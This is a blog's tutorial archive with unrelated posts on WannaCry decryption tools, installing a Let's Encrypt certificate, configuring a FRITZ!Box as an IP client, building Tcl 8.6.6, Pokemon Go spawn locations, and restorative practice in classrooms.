Category Archives: Tutorials

WannaCry

More info you can read from https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

If your PC has been infected by WannaCry – the ransomware that wreaked havoc across the world last Friday – you might be lucky to get your locked files back without paying the ransom of $300 to the cyber criminals.

Adrien Guinet, a French security researcher from Quarkslab, has discovered a way to retrieve the secret encryption keys used by the WannaCry ransomware for free, which works on Windows XP, Windows 7, Windows Vista, Windows Server 2003 and 2008 operating systems.
WannaCry Ransomware Decryption Keys
The WannaCry’s encryption scheme works by generating a pair of keys on the victim’s computer that rely on prime numbers, a “public” key and a “private” key for encrypting and decrypting the system’s files respectively.
To prevent the victim from accessing the private key and decrypting locked files himself, WannaCry erases the key from the system, leaving no choice for the victims to retrieve the decryption key except paying the ransom to the attacker.
But here’s the kicker: WannaCry “does not erase the prime numbers from memory before freeing the associated memory,” says Guinet.
Based on this finding, Guinet released a WannaCry ransomware decryption tool, named WannaKey, that basically tries to retrieve the two prime numbers, used in the formula to generate encryption keys from memory.
“It does so by searching for them in the wcry.exe process. This is the process that generates the RSA private key. The main issue is that the CryptDestroyKey and CryptReleaseContext does not erase the prime numbers from memory before freeing the associated memory.” says Guinet
So, that means, this method will work only if:
The affected computer has not been rebooted after being infected.
The associated memory has not been allocated and erased by some other process.
“In order to work, your computer must not have been rebooted after being infected. Please also note that you need some luck for this to work (see below), and so it might not work in every case!,” Guinet says.
“This is not really a mistake from the ransomware authors, as they properly use the Windows Crypto API.”
While WannaKey only pulls prime numbers from the memory of the affected computer, the tool can only be used by those who can use those prime numbers to generate the decryption key manually to decrypt their WannaCry-infected PC’s files.
WanaKiwi: WannaCry Ransomware Decryption Tool

Good news is that another security researcher, Benjamin Delpy, developed an easy-to-use tool called “WanaKiwi,” based on Guinet’s finding, which simplifies the whole process of the WannaCry-infected file decryption.
All victims have to do is download WanaKiwi tool from Github and run it on their affected Windows computer using the command line (cmd).
WanaKiwi works on Windows XP, Windows 7, Windows Vista, Windows Server 2003 and 2008, confirmed Matt Suiche from security firm Comae Technologies, who has also provided some demonstrations showing how to use WanaKiwi to decrypt your files.
Although the tool won’t work for every user due to its dependencies, still it gives some hope to WannaCry’s victims of getting their locked files back for free even from Windows XP, the aging, largely unsupported version of Microsoft’s operating system.

 

Download Anti Wannacry on wanakiwi

How to Install LetsEncrypt Certificate on Shared Hosting

Introduction

Let’s Encrypt introduced free SSL certificates quite some time ago. It made possible for website owners to offer encrypted HTTPS connection for their visitors totally free of charge. Before Let’s Encrypt, the only way to get a valid SSL certificate was to purchase it from a seller.

Let’s Encrypt SSL certificate can be installed with just a few lines of code on a VPS or dedicated server, however, installation on shared hosting accounts is still a bit complicated (unless it uses cPanel).

Hostinger doesn’t yet have an auto-installer for Let’s Encrypt SSL certificates (we are working on this), but there is a workaround – it can be installed manually using ACME client written in PHP and composer.

This tutorial shows how to install free SSL from Let’s Encrypt on Gembels.com shared hosting.

The gist here is to generate the Let’s Encrypt certificate locally and install it to your server using cPanel. This is the exact steps I used for this domain.

Things Needed

  • An OS to install and run the Let’s Encrypt client. In this example I will use Ubuntu 14.04 VM on Windows.
  • cPanel access. Your cPanel should allow SSL certificates to be installed manually.
  • File upload access to the server. I used SFTP.

Installing the Let’s Encrypt Client

  1. Fire up the terminal in Ubuntu and type:
    git clone https://github.com/letsencrypt/letsencrypt
  2. Once its done, go to the directory where the client is installed. For me its: cd letsencrypt

Generating the Certificate

  1. Inside the letsencrypt directory (dont forget it for non www and www), type:
    ./letsencrypt-auto certonly -a manual --rsa-key-size 4096 -d gembels.com -d www.gembels.com

Note: Make sure to change gembels.com to the domain of your website.

  1. The client will prompt you if its OK to log your IP. Choose Yes.
  1. Now, whatever happens, do not press anything yet or you will have to restart the generation process!

Confirming Domain Ownership

Notice that below the prompt is an instruction on how to confirm ownership of your domain:

Make sure your web server displays the following content at http://gembels.com/.well-known/acme-challenge/pExN7I6LR8wMLGkwgpj2bRP5Mb8rWVnvElh5VQY3O34 before continuing:

pExN7I6LR8wMLGkwgpj2bRP5Mb8rWVnvElh5VQY3O34.mO1_yWM1oRb7oJBd5VgVuRB_szRNAqAEwsAcWfDxHX8

  1. Connect to your server and create the following directory inside your server’s public directory: .well-known/acme-challenge/
  2. Inside it create a text file named pExN7I6LR8wMLGkwgpj2bRP5Mb8rWVnvElh5VQY3O34 that contains the string
    pExN7I6LR8wMLGkwgpj2bRP5Mb8rWVnvElh5VQY3O34.mO1_yWM1oRb7oJBd5VgVuRB_szRNAqAEwsAcWfDxHX8

Note: The strings will be different for you or second domain for www. it will request 1 more time to same steps.

  1. Once you are done, go back to the terminal and press the enter. LE will generate one more confirmation for more domain. Just repeat step number 6.

Installing the Certificate in cPanel

cPanel SSL panel

  1. Type: sudo nautilus
  2. Using the file browser as root, navigate to /etc/letsencrypt/live/gembels.com
  3. Login to your cPanel. Copy and paste the SSL info from these files into the cPanel SSL panel:
    Certificate (CRT) is cert.pem
    Private Key is privkey.pem
    Certificate Authority Bundle: (CABUNDLE) or CA is chain.pem

    I used gedit to open and copy the contents of the .pem files.

    Installing the certificate in cPanel

 

Additional Resources/References

 

Setting up the FRITZ!Box 7390 as an IP client

There is an issue where you cant access your wireless router as second router and you mobile phone using the wireless thru second router and got different C class ip number. How you going to perform printing if your printer in different class C ip address ?

Example:

1st router thru NBN/ADSL with local IP 192.168.1.1 , and 2nd router as a router 192.168.1.254 / 192.168.2.1. Even you knew its 1.254 but you never can open it when you are in class 1 C ip address.

This is the solution using FRITZ!OS:06.53 Firmware:

Setting up the FRITZ!Box as an IP client

When the FRITZ!Box is used as an IP client, it shares the existing Internet connection of your other router. In this case

  • the firewall of the FRITZ!Box is disabled.
  • computers, smartphones, and other devices connected to the FRITZ!Box still obtain their IP settings from the other router.
  • all network devices have unrestricted access to all other devices, regardless of whether they are connected to the FRITZ!Box or the other router.

Preparations

Determining the throughput of the Internet connection
Determine and make note of the throughput (speed) available on the router’s Internet connection for downstream (data reception) and upstream (data transmission).
Note:You can find information on the speed of your Internet connection in the router’s user interface or contact your Internet service provider.

Determining the router’s IP settings
Enable the router’s DHCP (Dynamic Host Configuration Protocol) server so that the FRITZ!Box and devices connected to it automatically receive all of the IP settings required to access the Internet and communicate with other devices,
or, if the router cannot provide a DHCP server:
Make note of the router’s IP address and subnet mask.

Configuring the FRITZ!Box

  • Click “Internet” in the FRITZ!Box user interface.
  • Click “Account Information” in the “Internet” menu.
  • Select “Other Internet service provider” from the drop-down list “Internet service provider”. With some regional settings, this entry will not be displayed until you select “More Internet service providers”.
  • Enable the option “External modem or router” in the “Connect via” or “Connection” section.
  • Select “Share existing Internet connection in the network (IP client mode)” in the “Operating Mode” section.
  • Enter the speeds of your Internet connection in the “Downstream” and “Upstream” fields.
    Example:
    Enter 32000 for a downstream of 32 Mbit/s; enter 2000 for an upstream of 2 Mbit/s.
  • Click on “Change connection settings”.
  • Configure the IP settings:

If the router in the network provides a DHCP server:
Enable the option “Obtain the IP address automatically (DHCP)”.
If the router in the network does not provide a DHCP server:
Enable the option “Configure the IP address manually”.
Enter IP settings that fit with the IP network of the router:
“IP address”: IP address from the router’s network.

Example:
The router has the IP address 192.168.100.1 (subnet mask 255.255.255.0) and is therefore in the network 192.168.100.0. In this case you can enter 192.168.100.2 as the IP address.

Important:The IP address you select may not already be used by another device in the router’s network.

“Subnet mask”: Subnet mask of the router
“Default gateway”: IP address of the router
“Primary DNS server”: IP address of the router
Click “Apply” to save your settings.
The FRITZ!Box is now configured for operation as an IP client.
Important:In this operating mode, you can no longer open the user interface with http://fritz.box. Instead, proceed as described in the section “Opening the FRITZ!Box user interface”

Connecting the FRITZ!Box with the network

Use a network cable (for example the yellow network cable included with delivery) to connect the “LAN 1” port on FRITZ!Box directly to the router, or connect it by means of a hub or switch.
Now the FRITZ!Box uses the Internet connection of the other router.

Opening the FRITZ!Box user interface

When used as an IP client, you can no longer open its user interface by entering http://fritz.box. Instead, you must enter the FRITZ!Box’s IP address to open it:
In the web browser, enter the IP address that the router’s DHCP server assigned to the FRITZ!Box (for example 192.168.100.20),
or, if you enabled the option “Configure the IP address manually” in the FRITZ!Box:
In the web browser, enter the IP address that you entered in the “IP address” field in the FRITZ!Box user interface (for example 192.168.100.2).
or, if you cannot determine or have forgotten the IP address of the FRITZ!Box,
Use the FRITZ!Box’s “emergency” IP address to open the user interface.

Setting up the FRITZ!Box to conduct calls over another router

The following step is only necessary if you would like to connect telephones to the FRITZ!Box and then use the Internet connection of the other router or a landline to conduct calls with them:
Set up the FRITZ!Box to conduct telephone calls over the other router.

Setting up the FRITZ!Box for wireless roaming

    • If the other router does not provide a wireless network, you can use the FRITZ!Box as a wireless access point and connect your wireless devices to the FRITZ!Box’s wireless network.
    • If the other router has wireless capabilities, you can use the FRITZ!Box as an additional wireless access point. This way your wireless devices can access the Internet and other devices in the home network over the FRITZ!Box, even if the wireless network of your router is not available.
    • Configure the following settings in the FRITZ!Box so that your wireless devices can always automatically connect to the wireless network with the strongest signal (wireless roaming):
  1. Click “Wireless” (“WLAN”) in the FRITZ!Box user interface.
  2. Click “Radio Network” in the “Wireless” (“WLAN”) menu.
  3. Enter the name of the router’s wireless network as the “Name of the wireless radio network (SSID)”.
  4. Click “Apply” to save your settings.
  5. Click “Radio Channel” in the “Wireless” (“WLAN”) menu.
  6. Enable the option “Adjust radio channel settings” in the “Radio Channel Settings” section.
  7. Select the channel used by the wireless router from the drop-down list “Radio channel”.
  8. Click “Apply” to save your settings.
  9. Click “Security” in the “Wireless” (“WLAN”) menu.
  10. Enable the wireless encryption used by the wireless router.
  11. Enter the wireless router’s network key in the “Network key” field.
  12. Click “Apply” to save your settings.

Done. Source: https://en.avm.de/service/fritzbox/fritzbox-7360/knowledge-base/publication/show/3244_Setting-up-the-FRITZ-Box-as-an-IP-client/

TCL 8.6.6 Manual Installation

Introduction to Tcl

The Tcl package contains the Tool Command Language, a robust general-purpose scripting language.

This package is known to build and work properly using an LFS-8.0 platform.

Package Information

Download (HTTP): http://downloads.sourceforge.net/tcl/tcl8.6.6-src.tar.gz
Download MD5 sum: 5193aea8107839a79df8ac709552ecb7
Download size: 9.1 MB
Estimated disk space required: 64 MB (including html documentation)
Estimated build time: 1.0 SBU (additional 2.9 SBU for the tests)
Additional Downloads

Optional Documentation

Download (HTTP): http://downloads.sourceforge.net/tcl/tcl8.6.6-html.tar.gz
Download MD5 sum: 29b28a8c98a97f34bcb92af3222d253f
Download size: 1.2 MB
User Notes: http://wiki.linuxfromscratch.org/blfs/wiki/tcl

Installation of Tcl

This package is also installed in LFS during the bootstrap phase. As it is not installed during Chapter 6 of LFS, installation instructions are included here in BLFS.

If you downloaded the optional documentation, unpack the tarball by issuing the following command:

 

tar -xf ../tcl8.6.6-html.tar.gz --strip-components=1
 Install Tcl by running the following commands:

export SRCDIR=`pwd` &&

cd unix &&

./configure --prefix=/usr \
 --mandir=/usr/share/man \
 $([ $(uname -m) = x86_64 ] && echo --enable-64bit) &&
 make &&

sed -e "s#$SRCDIR/unix#/usr/lib#" \
 -e "s#$SRCDIR#/usr/include#" \
 -i tclConfig.sh &&

sed -e "s#$SRCDIR/unix/pkgs/tdbc1.0.4#/usr/lib/tdbc1.0.4#" \
 -e "s#$SRCDIR/pkgs/tdbc1.0.4/generic#/usr/include#" \
 -e "s#$SRCDIR/pkgs/tdbc1.0.4/library#/usr/lib/tcl8.6#" \
 -e "s#$SRCDIR/pkgs/tdbc1.0.4#/usr/include#" \
 -i pkgs/tdbc1.0.4/tdbcConfig.sh &&

sed -e "s#$SRCDIR/unix/pkgs/itcl4.0.5#/usr/lib/itcl4.0.5#" \
 -e "s#$SRCDIR/pkgs/itcl4.0.5/generic#/usr/include#" \
 -e "s#$SRCDIR/pkgs/itcl4.0.5#/usr/include#" \
 -i pkgs/itcl4.0.5/itclConfig.sh &&

unset SRCDIR

 

To test the results, issue: make test.

Now, as the root user:

 make install &&
 make install-private-headers &&
 ln -v -sf tclsh8.6 /usr/bin/tclsh &&
 chmod -v 755 /usr/lib/libtcl8.6.so[/dropcap]
 If you downloaded the optional documentation, install it by issuing the following commands as the root user:

 mkdir -v -p /usr/share/doc/tcl-8.6.6 &&
 cp -v -r ../html/* /usr/share/doc/tcl-8.6.6

Command Explanations

$([ $(uname -m) = x86_64 ] && echo –enable-64bit): This switch is used to enable 64 bit support in Tcl on 64 bit operating systems.

make install-private-headers: This command is used to install the Tcl library interface headers used by other packages if they link to the Tcl library.

ln -v -sf tclsh8.6 /usr/bin/tclsh: This command is used to create a compatibility symbolic link to the tclsh8.6 file as many packages expect a file named tclsh.

sed -e …: The Tcl package expects that its source tree is preserved so that packages depending on it for their compilation can utilize it. These sed remove the references to the build directory and replace them with saner system-wide locations.

Contents

Installed Programs: tclsh and tclsh8.6
Installed Libraries: libtcl8.6.so and libtclstub8.6.a
Installed Directories: /usr/lib/itcl4.0.1, /usr/lib/sqlite3.8.6 /usr/lib/tcl8, /usr/lib/tcl8.6, /usr/lib/tdbc1.0.1, /usr/lib/tdbcmysql1.0.1, /usr/lib/tdbcodbc1.0.1, /usr/lib/tdbcpostgres1.0.1, /usr/lib/thread2.7.1, /usr/share/doc/tcl-8.6.6, and /usr/share/man/mann
Short Descriptions

tclsh is a symlink to the tclsh8.6 program.
tclsh8.6 is a simple shell containing the Tcl interpreter.
libtcl8.6.so contains the API functions required by Tcl.

POKEMON GO SPAWN LOCATIONS | CATCHING POKEMON GO POKEMON

Welcome to our in-depth guide for Catching Pokemon Go Pokemon, Spawn Locations, Climates and Areas all play major factors in certain Pokemon spawn rates. For example bodies of water such as rivers and ponds have a very high spawn rates for Water Type Pokemon. Catching Pokemon Go Ghost Pokemon is easier at night time since Ghost Type Spawn Rate in much higher during night time. Before we get into catching Pokemon and the Pokemon Go Spawn Rates we should understand some of the basic Pokemon Go Tips for catching Pokemon.

Catching Pokemon Go Pokemon

The 3 Basic Pokemon Go Catching Pokemon Tips Players Need To Know!

Finding Rare Pokemon To Catch

  • Trainer Level: Higher level trainers will see higher level and rarer Pokemon. This means you will find Pokemon with higher CP and you will start to find Pokemon you previously could not.
  • Popularity: Pokemon have higher spawn rates at places that are more frequented by people, and especially other Pokemon Go users.
  • Time & Location: Catching Pokemon Go Pokemon can be difficult if you’re looking for a particular type of pokemon. However, you can increase your chance/spawn rate of certain Pokemon at specific locations and times. Below we go into greater detail of Pokemon Go Spawn Locations you can find certain Pokemonn to catch.

Increasing Your Chance To Catch Pokemon

If you want the highest chance of catching Pokemon, you need to wait until the ring inside the circle is at it’s smallest. That’s the advice straight from the Niantic developers. When you start seeing orange and red rings, you’ll maximize your chances of success as much as you can — especially once you start trying to capture rare Pokemon with Great and Master Balls.

Spinning Your Pokeball Increases the Chance of a Successful Catch

It would appear that spinning your pokeball increases your chance rate to successfully catching a pokemon.

Turning Off AR For Higher Pokemon Catch Rates

Using the game’s AR function causes wild Pokemon’s to jitter around making it difficult to catch Pokemon. Turning off AR keeps Pokemon relatively still, allowing your throws to be more accurate, and your catch rates to be higher.

Pawprints

In the lower right-hand corner of your screen, there is a list of Pokemon available near by. The Pawprints signify how close a Pokemon is near you, depending on how many paws are visible equals the distance you need to travel.

  • 3 paws = 150m
  • 2 paws = 100m
  • 1 paw = 50m
  • 0 paws = 0m/capture range

Catching-Pokemon-Go-Pokemon-576x1024

 

Where Is A Good Place To Start Catching Pokemon in Pokemon Go?

Niantic (The Pokemon Go developers) suggests going to parks as a general starting point. Parks — especially parks with PokéStops — are great places to catch creatures, and if the pokéstop is lit with a Lure Module there will be plenty of Pokemon to catch there. this will also increase the Spawn rate of Pokemon related to the area.

 

Do Lure Modules and Incense Stack?
I don’t think they stack so much as they spawn their own pokemon and work in tandem.
Lured pokemon at stops have a different color beneath them, incense pokemon are circled with the same pink clouds as the trainer. This would indicate they are both working at the same time.

Meaning they work together and you will see more pokemon spawning with both in use at the same time.

Side Note: (Incense spawns roughly 1 pokémon every 5 min while standing still and every 1 min/200 meters while moving)

 

Pokemon Go Spawn Locations

WATER POKEMON GO SPAWN LOCATION

Where Do I Catch Water Pokemon in Pokemon Go: Water Pokemon are fairly easy to catch if you live close to large bodies of water. If not then you will need to find key locations known for water-related landmarks or even small local ponds in your local park are areas you may be able to find water Pokemon.

How To Get Water Type Pokemon Tips:

  • Vaporeon: Evolving Eevee into Vaporeon is another great way to get your hands on a strong water type Pokemon.
  • Eggs: If you just can’t seem to find any water type Pokemon where you live, hatching eggs can be another way to obtain some water type.

Where Do I Find Water Pokemon? – ( Water Pokemon Locations )

Confirmed Water Pokemon Go Spawn Locations: Canal – Dock – Harbors – Lake – Ocean – Beach – River – Riverbank – Stream – Wetland – Ports – Reservoir – Basin

Unconfirmed Water Pokemon Go Spawn Locations:

There is a Total of 32 Pokemon Go Water Pokemon: Squirtle, Wartortle, Blastoise, Psyduck, Golduck, Poliwag, Poliwhirl, Poliwrath, Tentacool, Tentacruel, Slowpoke, Slowbro, Seel, Dewgong, Shellder, Cloyster, Krabby, Kingler, Horsea, Seadra, Omanyte, Omastar, Kabuto, Kabutops, Goldeen, Seaking, Staryu, Starmie, Magikarp, Gyarados, Lapras and Vaporeon.

FIRE POKEMON GO SPAWN LOCATION

Where Do I Catch Fire Pokemon In Pokemon Go: Fire Type Pokemon are common in residential areas like neighborhoods. Players are reporting higher spawn rate of fire type Pokemon in dry/arid and warmer type climates. Note: You will still find fire type Pokemon in any climate, they will just be less common.

How To Get Fire Type Pokemon Tips:

  • Flareon: Evolving Eevee into Flareon is not a bad option if you are in need of a strong Fire Type Pokemon. Flareon is one of the strongest Fire Type in Pokemon, with a 37 CP Per Level gain.
  • Charmander Spawns: Keep your out for Charmander Spawn Locations, some Parks have naturally high Charmander spawns. Reports have noted Olympic Stadiums having high chamander spawn rates.

Where Do I Find Fire Pokemon? – ( Fire Pokemon Locations )

Confirmed Fire Pokemon Go Spawn Locations: Residential – Cities – Neighborhoods – Dry/Arid Climate – Warmer Climate – Beach – Parks

Unconfirmed Fire Pokemon Go Spawn Locations: Parking lots – Gas Stations.

There is a Total of 12 Pokemon Go Fire Pokemon: Charmander, Charmeleon, Charizard, Vulpix, Ninetales, Growlithe, Arcanine, Ponyta, Rapidash, Magmar and Flareon. Moltres is a legendary Pokemon who currently you cannot catch in the wild.

GRASS POKEMON GO SPAWN LOCATION

Where Do I Catch Grass Pokemon In Pokemon Go: Grass Pokemon are very easy since they can be found in a lot of common locations, such as parks and golf courses. Some not so common areas, Pokemon Go players living in the city will find it difficult to access some of these areas.

How To Get Grass Type Pokemon Tips:

  • Parks: Grass Pokemon appear to be the most abundant in parks, you can also get a good amount of grass type from egg hatching.

Where Do I Find Grass Pokemon? – ( Grass Pokemon Location )

Confirmed Grass Pokemon Go Spawn Locations: Parks – Farmland – Forest – Hiking Trails – Gardens – Golf Courses – Woodland – Grassy Areas – Meadow – Nature Reserve

Unconfirmed Grass Pokemon Go Spawn Locations: 

There is a Total of 14 Pokemon Go Grass Pokemon: Bulbasaur, Ivysaur, Venusaur, Oddish, Gloom, Vileplume, Bellsprout, Weepinbell, Victreebell, Exeggcute, Exeggutor, Tangela, Paras and Parasect.

ELECTRIC POKEMON GO SPAWN LOCATION

Where Do I Catch Electric Pokemon In Pokemon Go: Most electric pokemon are found near college campuses and universities. Some players have reported them in residential and largely concreted areas.

How To Get Electric Type Pokemon Tips:

  • Jolteon: Evolving Eevee into Jolton is the least favorable of the Eevee evolutions. It does, however, make for a great Electric Type Pokemon.

Where Do I Find Electric Pokemon? – ( Electric Pokemon Locations )

Confirmed Electric Pokemon Go Spawn Locations: Universty – College Campus – Industrial Parks – Residential – School – Railway – Commercial (Shopping Districts)

Unconfirmed Electric Pokemon Go Spawn Locations: Library

There is a Total of 9 Pokemon Go Electric Pokemon: Pikachu, Raichu, Magnemite, Magneton, Voltorb, Electrode, Electabuzz and Jolteon. Zapdos is a legendary pokemon who does not appear in the wild at the moment.

ROCK POKEMON GO SPAWN LOCATION

Where Do I Catch Rock Pokemon In Pokemon Go: Rock Pokemon are pretty common around areas with features that are similar to rocks. such as quarries and farmland have high spawn rates for rock pokemon.

How To Get Rock Type Pokemon Tips:

Where Do I Find Rock Pokemon? – ( Rock Pokemon Locations )

Confirmed Rock Pokemon Go Spawn Locations: Quarries– Farmland – Parking Lots – Parking Buildings – Cities – Hiking Trails – Nature Reserve

Unconfirmed Rock Pokemon Go Spawn Locations: Shopping Centers – Shopping Malls

There is a Total of 11 Pokemon Go Rock Pokemon: Geodude, Graveler, Golem, Onix, Rhyhorn, Rhydon, Omanyte, Omastar, Kabuto, Kabutops and Aerodactyl.

PSYCHIC POKEMON GO SPAWN LOCATION

Where Do I Catch Psychic Pokemon In Pokemon Go: Psychic pokemon tend to appear in residential areas mostly during night time. While others have reported finding psychic pokemon near hospitals.

How To Get Psychic Type Pokemon Tips:

  • Residential (Night-Time): It would appear the Psychic Pokemon have a slightly higher spawn rate during night time.

Where Do I Find Psychic Pokemon? – ( Psychic Pokemon Locations )

Confirmed Psychic Pokemon Go Spawn Locations: Residential (Night Time) – Hospitals – Grassy Areas

Unconfirmed Psychic Pokemon Go Spawn Locations: Beach – Library

There is a Total of 14 Pokemon Go Psychic Pokemon: Abra, Kadabra, Alakazam, Drowzee, Hypno, Exeggcute, Exeggutor, Slowpoke, Slowbrow Jynx and Mr. Mime. Mewtwo and Mew do not appear in the wild, they will mostly likely be a special event held at a later date.

BUG POKEMON GO SPAWN LOCATION

Where Do I Catch Bug Pokemon In Pokemon Go: Bug pokemon have similar spawn locations to grass pokemon. Locations such as Farmland, Woods and even nature reserves.

How To Get Bug Type Pokemon Tips:

  • Parks: Parks are the best place to look for bug type Pokemon, You will find plenty of bug pokemon in these areas.
  • Grassy Areas: Golf Courses and even large open fields found near you can have lots of bug Pokemon available.

Where Do I Find Bug Pokemon? – ( Bug Pokemon Locations )

Confirmed Bug Pokemon Go Spawn Locations: Parks – Farmland – Forest – Gardens – Golf Courses – Woodland – Grassy Areas – Meadow – Nature Reserve

Unconfirmed Bug Pokemon Go Spawn Locations:

There is a Total of 12 Pokemon Go Bug Pokemon: Caterpie, Metapod, Butterfree, Weedle, Kakuna, Beedrill, Paras, Parasect, Venonat, Venomoth, Scyther and Pinsir.

GROUND POKEMON GO SPAWN LOCATION

Where Do I Catch Ground Pokemon In Pokemon Go: Ground pokemon have similar spawn locations to rock pokemon. Locations such as Farmland have some of the highest spawn rate of ground pokemon.

How To Get Ground Type Pokemon Tips:

Where Do I Find Bug Pokemon? – ( Ground Pokemon Locations )

Confirmed Ground Pokemon Go Spawn Locations: Parks – Farmland – Woodland – Quarry – Golf Course

Unconfirmed Ground Pokemon Go Spawn Locations:

There is a Total of 14 Pokemon Go Ground Pokemon: Sandshrew, Sandslash, Diglett, Dugtrio, Geodude, Graveler, Golem, Onyx, Cubone, Marowak, Rhyhorn, Rhydon, Nidoqueen and Nidoking.

POISON POKEMON GO SPAWN LOCATION

Where Do I Catch Poison Pokemon In Pokemon Go: Poison pokemon spawn near wetland with marches and on occasion in large industrial areas.

How To Get Poison Type Pokemon Tips:

Shared Pokemon Types: Almost all Poison pokemon share another type. That means Grass Pokemon like Bellsprout and Oddish who are also poison type can be found in parks easily due to their shared grass type.

Where Do I Find Poison Pokemon? – ( Poison Pokemon Locations )

Confirmed Poison Pokemon Go Spawn Locations: Wetlands – Marches – Lakes – Industrial Areas 

Unconfirmed Poison Pokemon Go Spawn Locations:

There is a Total of 33 Pokemon Go Poison Pokemon: Bulbasaur, Ivysaur, Venusaur, Oddish, Gloom, Vileplume, Weedle, Kakuna, Beedrill, Venonat, Venomoth, Bellsprout, Weepinbel, Victreebel, Ekans, Arbok, Nidoran (Female), Nidoran (Male), Nidorina, Nidoqueen, Nidorino, Nidoking, Zubat, Golbat, Grimer, Muk, Koffing, Weezing, Tentacool, Tentacruel, Gastly, Haunter and Gengar.

NORMAL POKEMON GO SPAWN LOCATION

Where Do I Catch Normal Pokemon In Pokemon Go: Normal pokemon spawn just about everywhere they are not hard to find. Some locations normal pokemon will spawn more often then others.

How To Get Normal Type Pokemon Tips:

  • Rare Normal Type: The majority of rare normal type Pokemon will be easily found within eggs that you hatch. They will also tend to have a much higher IV rating (Individual Values) when hatched from eggs.

Where Do I Find Normal Pokemon? – ( Normal Pokemon Locations )

Confirmed Normal Pokemon Go Spawn Locations: Residential Areas – Universities – College Campuses – Parking Lots

Unconfirmed Normal Pokemon Go Spawn Locations:

There is a Total of 22 Pokemon Go Normal Pokemon: Pidgey, Pidgeotto, Pidgeot, Rattata, Raticate, Spearow, Fearow, Jigglypuff, Wigglytuff, Meowth, Persian, Farfetch’d, Doduo, Dodrio, Lickitung, Chansey, Kangaskhan, Tauros, Ditto, Eevee, Porygon and Snorlax.

DRAGON POKEMON GO SPAWN LOCATION

Where Do I Catch Dragon Pokemon In Pokemon Go: Dragon pokemon tend to spawn near landmarks or places of interest. Players are reporting dragon pokemon spawning around golf course areas.

How To Get DragonType Pokemon Tips:

  • How To Get A Dragonite: Find a water spawn location, preferably one that is able to spawn Dratini since it is also a water type. Farming enough dratini is one way to obtain Dragonite, the other is to hope one will spawn near you some day.

Where Do I Find Dragon Pokemon? – ( Dragon Pokemon Locations )

Confirmed Dragon Pokemon Go Spawn Locations: Golf Course – Landmarks – Places of Interest

Unconfirmed Dragon Pokemon Go Spawn Locations:

There is a Total of 3 Pokemon Go Dragon Pokemon: Dratini, Dragonair and Dragonite.

FAIRY POKEMON GO SPAWN LOCATION

Where Do I Catch Fairy Pokemon In Pokemon Go: Fairy pokemon spawn near landmarks or places of interest. Players are reporting they can also be found by churches and cemeteries.

How To Get Fairy Type Pokemon Tips:

Where Do I Find Fairy Pokemon? – ( Fairy Pokemon Locations )

Confirmed Fairy Pokemon Go Spawn Locations: Churches – Landmarks – Places of Interest – Cemeteries

Unconfirmed Fairy Pokemon Go Spawn Locations:

There is a Total of 5 Pokemon Go Fairy Pokemon: Clefairy, Clefable, Jigglypuff, Wigglytuff and Mr. Mime.

 

FIGHTING POKEMON GO SPAWN LOCATION

Where Do I Catch Fighting Pokemon In Pokemon Go: Fighting pokemon spawn near Gyms in real life and even Stadiums. They can also be found near sports centers.

Where Do I Find Fighting Pokemon? – ( Fighting Pokemon Locations )

Confirmed Fighting Pokemon Go Spawn Locations: Gyms – Sport Centers – Stadiums – Recreation Areas

Unconfirmed Fighting Pokemon Go Spawn Locations:

There is a Total of 8 Pokemon Go Fighting Pokemon: Mankey, Primeape, Machop, Machoke, Machamp, Hitmonlee, Hitmonchan and Poliwrath.

 

GHOST POKEMON GO SPAWN LOCATION

Where Do I Catch Ghost Pokemon In Pokemon Go: Ghost pokemon spawn around churches on occasion. Players are reporting ghost pokemon spawning in residential areas and with higher spawn rate during night time/afternoon/early morning. (Note: Players are reporting the lack of ghost Pokemon in cemeteries and graveyards.)

Where Do I Find Ghost Pokemon? – ( Ghost Pokemon Locations )

Confirmed Ghost Pokemon Go Spawn Locations: Churches – Residential Areas ( Slightly Higher Spawn Rate During Night Time/After Noon/Early Morning )

Unconfirmed Ghost Pokemon Go Spawn Locations: Cemeteries – Graveyards

There is a Total of 8 Pokemon Go Ghost Pokemon: Gastly, Haunter and Gengar.

 

ICE POKEMON GO SPAWN LOCATION

Where Do I Catch Ice Pokemon In Pokemon Go: Ice pokemon are spawning near large bodies of water and Large Grassy areas. Pokemon Go players in areas with snow currently will have a higher spawn rate for ice pokemon then those who are not.

How To Get Ice Type Pokemon Tips:

  • Eggs: Its possible to obtain every Ice Type Pokemon threw eggs. Most importantly you can get one of the strongest Ice Type Pokemon, Lapras.

Where Do I Find Ice Pokemon? – ( Ice Pokemon Locations )

Confirmed Ice Pokemon Go Spawn Locations: Bodies of Water – Ski Resorts – Glacier – Grassy Areas

Unconfirmed Ice Pokemon Go Spawn Locations:

There is a Total of 5 Pokemon Go Ice Pokemon: Jynx, Dewgong, Cloyster, Lapras and Articuno. Articuno is a legendary pokemon not found in the wild. Legendary pokemon will most likely only be obtained in special events at a later date.

 

View Our Pokemon Go Type Chart, Full of every Pokemon Go Type Weakness and Strengths. Certain pokemon are super effective against others, while some are less effective. See what Type you should use to fight your local gym leader with our Pokemon Go Weakness Chart.

 

pokemonpower

Where Do I Catch Legendary Pokemon Go Pokemon?

At the current moment there are no Pokemon Go Spawn locations for legendary Pokemon, so you can’t. Niantic will likely enable players to catch Legendary Pokemon in the future as the game continues to grow.

Region-Specific and Uncatchable Pokémon
Some Pokémon appear more often in the wild in specific continents or at least have a higher spawn rate is specific locations. These Pokémon, however, can be hatched out of 10km eggs in any region. The rarest Legendary Pokémon are not yet available.

Pokémon Occurs In
Farfetch’d – Asia | South Korea | Kyoto Japan
Kangaskhan – Australia
Mr. Mime – Europe | Netherlands, Dordrecht, Eindhoven | Germany | England, UK
Tauros – USA | North America, Utah, Maryland, California, Massachusetts, Michigan, Texas | Northern Mexico | Ontario, Canada |
Ditto – Unavailable
Articuno – Unavailable
Zapdos – Unavailable
Moltres – Unavailable
Mewtwo – Unavailable
Mew – Unavailable

Restorative-Practise

How a teacher facing kids at Schools with Restorative Practise (1)

So my question is like how is your strategies, methods, that you would take to encourage, support and reinforce both girl and boys success in the classroom? And what method or strategies to deal with bad student in class?

 

Right now, many schools in Melb Vic Australia is using a method called Restorative Practise. The idea is to get the kids to own up to their own behaviours and developing awareness of how their behaviours may impact on other people and themselves.

 We have those questions printed in a name card and we carry with us at all times and we use it when students misbehave. Those questions are what were you thinking when you did that? Who were the people impacted by your behaviour. What you meant to be doing at that period of time.

